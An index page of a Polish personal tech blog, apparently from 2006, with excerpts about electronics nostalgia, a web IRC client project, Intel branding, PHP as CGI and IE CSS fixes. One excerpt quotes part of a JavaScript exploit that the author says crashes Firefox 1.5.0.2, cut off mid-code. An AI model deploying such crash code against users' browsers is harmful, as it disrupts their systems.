technikalia

Technika w czystej postaci, wpisy nie tylko o hackowaniu, programowaniu i elektronice...

Elektroniczne wspomnienia...

W ostatnich dniach, w czasie różnych przemyśleń nachodziły mnie sentymentalne wspomnienia. Wspomnienia z “elektronicznych” czasów, kiedy bawiłem się elektroniką i byłem nią zafascynowany. Wczoraj znów dopadł mnie ten stan, gdy trafiłem na strony EdW, jej portalu i forum. Swoją elektroniczną przygodę rozpocząłem razem z numerem 8/97 “Elektroniki dla Wszystkich” (EdW), a przynajmniej tak mi się wydaje. Na pewno był to mój pierwszy numer jaki zakupiłem. Zamieszczony był w nim układ bomby zegarowej - AVT-2144 (to zapamiętałem do dnia dzisiejszego).

Czytaj dalej

MajIRC zmienia się w maIRC

Jestem zmuszony zmienić nazwę mojego projektu MajIRC na maIRC, albo na coś innego, co jeszcze uda mi się wymyślić. Powodem tej zmiany jest istnienie już projektu o takiej samej nazwie jaką wybrałem dla swojego webowego klienta IRC. Projektem tym jest klient IRC-a napisany w Javie jako aplet na www - Magical Java IRC (MaJIRC). No, to teraz nową nazwą mojego projektu klienta irc-owego będzie maIRC :) Trzeba będzie zmienić kilka tekstów na www, a na DevBlogu pozostanie jak było.

Czytaj dalej

Intel bez Pentiuma

Intel poinformował, że nowe desktopowe procesory dwurdzeniowe nie będą już oferowane pod marką Pentium. Firma definitywnie rezygnuje z nazwy Pentium, mimo, iż marka ta towarzyszyła producentowi procesorów od ponad 13 lat. Nowa generacja procesorów o kodowych nazwach Merom dla mobilnych urządzeń i Conroe dla desktopów będą nosiły nazwę Core 2 Duo, Intel Core 2 oraz Intel Core 2 Extreme zamiast spodziewanych Pentium i Pentium Extreme Edition. Pojawią się też nowe oznaczenia układów.

Czytaj dalej

PHP jako CGI

Jednak się pokusiłem na rekonfigurację Debiana. PHP jako CGI przyda się na pewno w przyszłości, choć teraz nie wiem którą wersję wrzucić, PHP4 czy już lepiej PHP5. Miałbym wtedy 4-kę jako moduł Apache’a i 5-kę jako CGI. Główną różnicą w wersji CGI jest parokrotnie niższa wydajność niż modułu Apache’a. Do tego nie wszystkie zmienne systemowe mogą być przekazane w trybie CGI. Ale za to, wynagrodzeniem jest uruchamianie skryptu z prawami usera oraz możliwość uruchamiania spod shella skryptów PHP, co najbardziej było mi potrzebne :)

Czytaj dalej

MajIRC w Perlu?

Mam problem, potrzebuję na serwerze PHP działające jako CGI, a nie jako moduł Apache’a jak jest to do tej pory. Mam 2 wyjścia z tego problemu, albo reconfig serwera na Debianie, kompilacja źródełek lub coś tam jeszcze, żeby PHP ruszyło pod konsolą, albo przepisać fragmenty kodu, bramkę (majircs.php i dodatkową klasę) w Perlu… Chyba jednak wybiorę Perla :) Dawno miałem się zagłębić w ten język, teraz przynajmniej będzie większa motywacja, bo jest to (bramka majirc’a) potrzebne na już, żeby jak najszybciej uruchomić na serwerze MajIRC-a w wersji beta.

Czytaj dalej

Strona MajIRC-a

Pracuję nad MajIRCem, ostatnio może trochę mniej nad samą główną aplikacją (jeśli można to w ogóle nazwać aplikacją), ale staram się jak najprędzej uruchomić jakąś wersję beta :) A tymczasem dziś w nocy powstała strona projektu. Dostępna jest aktualnie/tymczasowo (a może docelowo nawet zostanie tam) pod tym adresem. Będzie rozwijana razem z projektem… W bieżącej wersji jest to bardzo prosta konstrukcja oparta na plikach tekstowych. Nie chciałem robić statycznej strony, aby wszelkie zmiany wyglądu i szablonu nie pociągały przemielenia wszystkich podstron.

Czytaj dalej

Google zaczyna ssać...

Google jest bardzo oburzone, ma żal i pretensje do Microsoftu. Wszystko przez to, że Microsoft w najnowszej wersji swojego produktu, przeglądarki Internet Explorer, umieścił swoją wyszukiwarkę MSN Search jako domyślną na pasku narzędziowym. A to wydaje się raczej normalnym zachowaniem. Przecież każdy wykorzystuje swoje rozwiązania, stara się je wszędzie promować i wdrażać, a tym bardziej w swoich produktach. Niestety przedstawiciele firmy Google. domagają się, aby podczas instalacji IE7 pojawiało się pytanie, którą wyszukiwarkę ustawić jako domyślną.

Czytaj dalej

Groźny błąd w Firefoksie

Znaleziono groźny bug w tej “wspaniałej” przeglądarce. Pojawił się exploit wysypujący najnowszego Firefoksa (1.5.0.2) :) Na informacje o tym błędzie natknąłem się w notce Piotra Koniecznego. Przetestowałem i potwierdzam działanie exploita, a poniżej znajduje się ten magiczny kodzik wyprawiający cuda. <textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"> </textarea> <script> var textarea = document.getElementsByName("x_OtherInfo"); textarea=textarea.item(0); var htmlarea = document.createElement("div"); htmlarea.className = "htmlarea"; textarea.parentNode.insertBefore(htmlarea, textarea); var iframe = document.createElement("iframe"); htmlarea.appendChild(iframe); var doc = iframe.contentWindow.document; doc.

Czytaj dalej

Polski manual PHP w pliku CHM

Od roku dokumentacja języka PHP w formacie CHM, w polskiej wersji językowej, dostępna na stronie projektu (php.net) jest uszkodzona. Plik zamiast ponad 6 MB ma objętość 401 KB. Dlatego do tej pory musiałem się zadowalać jakąś starszą wersją (bodajże z 2004 roku). Niestety plik ten utraciłem w czasie pamiętnej awarii dysku. Dlatego zacząłem poszukiwania tego magicznego pliku (php_manual_pl.chm) w sieci. Ale na nic zdały się skanowania różnych serwerów i mirrorów. Dopiero Google pomogło ;)

Czytaj dalej

IEfix

Znalazłem jeszcze kilka skryptów na stronie osiolki.net/faq/iefix, które “poprawiają” obsługę standardu CSS w IE: png behaviour - pozwala na wyświetlanie PNG z kanałem alpha fixed.js - umożliwia obsługę position:fixed i background:fixed minmax.js - zmusza IE do respektowania min-width i max-width position.js - umożliwia nadawanie wielkości obiektom przez podanie pozycji ich krawędzi (left i right albo top i bottom) W międzyczasie powstaje jeszcze projekt IE7, który łączy ze sobą te i inne łaty, jak obsługa selectorów CSS2, wielu klas, a w planach jest obsługa generated content, <abbr/> i innych.

Czytaj dalej